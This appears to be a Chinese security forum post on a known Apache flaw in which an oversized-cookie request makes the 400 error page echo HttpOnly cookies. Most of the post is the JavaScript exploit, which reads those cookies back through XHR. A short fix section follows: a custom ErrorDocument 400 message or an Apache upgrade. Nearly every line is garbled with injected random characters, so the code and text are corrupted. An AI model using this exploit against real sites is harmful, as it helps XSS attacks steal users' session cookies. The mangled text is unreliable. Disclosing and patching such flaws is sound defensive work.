很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。
0 B! }- N1 p4 ~4 P a" y6 T: b" c# P& H: W: b! o7 v, O2 L0 A% e
用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:
1 g% a+ m! g# C5 k - D# m5 b1 J5 H: ]) L
: y6 q! W& a+ Z5 [% t// http://www.exploit-db.com/exploits/18442/
6 F3 u: \' [2 j; ~( ^5 r: a5 }function setCookies (good) {) u8 N/ z" e# M3 }$ m/ M- r
// Construct string for cookie value6 l1 L4 r. w& H+ p: K8 h$ t( I
var str = "";
" b3 X2 J6 y k$ \5 U: M( \for (var i=0; i< 819; i++) {/ D* g/ v+ ?! P, [( r
str += "x";
( V, @8 D1 L* C* n* c2 R" m}- N: g& e6 z& S( I J, Z
// Set cookies
4 {, v! d9 K- dfor (i = 0; i < 10; i++) {5 l! {7 y6 e2 s/ @7 s$ N. _
// Expire evil cookie
/ q/ |# x* o( s" Yif (good) {
4 m0 Q; j- L% |/ _& L Qvar cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";7 \0 Y" l; t! T7 E! F; P' w
}
) j9 h4 z, Z9 p& B// Set evil cookie
`( o1 |4 h; {$ i, X- S Celse {4 F, x* E. A( U y$ R5 T) @
var cookie = "xss"+i+"="+str+";path=/";, G6 \9 N7 | u+ x% P( j* R
}8 T' r' t& }/ h M7 O* H$ o
document.cookie = cookie; }; q! J7 m! F Z( R1 H
}
4 x/ \- }5 F- p# b+ ^1 m- _0 t}
: V- C2 o* H3 A5 ?" S9 P1 {. ifunction makeRequest() {
" [6 C7 a2 K; \ P& k; w2 KsetCookies();! Y" q g& X2 W" p& S* z. H B$ G
function parseCookies () {
: g# z/ I% `# B# R: [3 c: S1 qvar cookie_dict = {};$ Y) S" A& O, v6 P
// Only react on 400 status
" [4 I; {+ f% O6 ?% Wif (xhr.readyState === 4 && xhr.status === 400) {
0 S7 B( G9 o/ D) k( e1 m// Replace newlines and match <pre> content
% O& e7 ?: i9 ?5 i; l3 W% Dvar content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);8 H9 L3 W( L+ a
if (content.length) {- V& K- Z. }9 q
// Remove Cookie: prefix
3 {: y, O) g! @: Jcontent = content[1].replace("Cookie: ", "");
" K: f' G' f& L0 c/ X; j) tvar cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);6 j+ C, J, q t" }# H& s; J
// Add cookies to object
/ D, U& T# \, e' ~. V4 L" g. Vfor (var i=0; i<cookies.length; i++) {
& H6 t8 a! a; b& U* Kvar s_c = cookies.split('=',2);
, E$ r" \$ {6 M+ y/ gcookie_dict[s_c[0]] = s_c[1];7 Z W2 z' ]9 ^( _
}
) \1 e7 M1 r$ b: f* v}) D" l6 |0 [/ j$ ?0 n
// Unset malicious cookies
6 ^) \8 q! a9 C/ C0 E7 F& jsetCookies(true);
5 x8 h$ `3 r2 U/ o7 U* salert(JSON.stringify(cookie_dict));* h j0 w/ f: _: O/ @% j
}
* N. u; S' {5 F6 }}- W b# y$ a) F, W3 d
// Make XHR request
; C; ?. x( G7 c# |4 |3 A# O. C, ivar xhr = new XMLHttpRequest();: I5 ~) s: K$ E \
xhr.onreadystatechange = parseCookies;
" H+ h; b4 b. x* a2 u3 `' q. N7 L' ~xhr.open("GET", "/", true);
% s: b( m5 V* S4 M3 d7 z nxhr.send(null);
6 c) f; P" G' O" F/ e- K}- U* i0 S, n1 S n: u( x- ]4 | x
makeRequest();# y; R* a1 c$ @0 @$ D
" K* O& g6 U* n/ ~1 f8 y你就能看见华丽丽的400错误包含着cookie信息。' [2 _* u; o4 ]- ?0 N
* s9 J0 @. w2 \; G" W. Q. y( a1 C下载地址:https://gist.github.com/pilate/1955a1c28324d4724b7b/download#4 ^! [( f" u( h9 b# A( Z) F9 x
3 e5 F- ~; L4 ~: `2 N修复方案:
) ^) N+ L5 d& ?" i, n4 @, Q8 w; ~' S( I- H& o7 R
Apache官方提供4种错误处理方式(http://httpd.apache.org/docs/2.0/mod/core.html#errordocument),如下1 y) e$ \" P! e: h! U |
5 N5 D/ B! _ ]2 C% c0 W3 IIn the event of a problem or error, Apachecan be configured to do one of four things,
' P" X1 s' o) T5 \- E# W9 B7 g
! @- h( e8 V1 @ z3 ]7 Q1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
2 m$ }- [8 @/ x* M; J0 G2. output acustomized message输出一段信息
! Z" k5 q4 J2 E1 A3 C; k4 \2 e3 A3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
. b* m7 V6 t I7 n$ y0 ?2 u8 J$ v1 d* _4. redirect to an external URL to handle theproblem/error转向一个外部URL
6 T2 n. W/ ^5 I5 W
" {7 W( l1 {, e1 b% ]1 D& D6 G经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容
1 T. L; n4 j) F2 Q1 |
* k$ B9 r q4 z. e& C" n0 A8 TApache配置: ~0 T2 e( Y: X9 {1 Z
1 g F' B5 z) }' y/ x; |' ^
ErrorDocument400 " security test"
& F1 @; s, A- |, X+ Y# R. n+ }6 U8 x+ Q0 F" k
当然,升级apache到最新也可:)。- p% w' F8 n8 B2 Q7 X& q' d
' }: N) u2 k4 r: t G t" C
参考:http://httpd.apache.org/security/vulnerabilities_22.html) @' w3 o' P( B& X1 G
m. b1 ~0 }0 _3 n3 a, e$ T |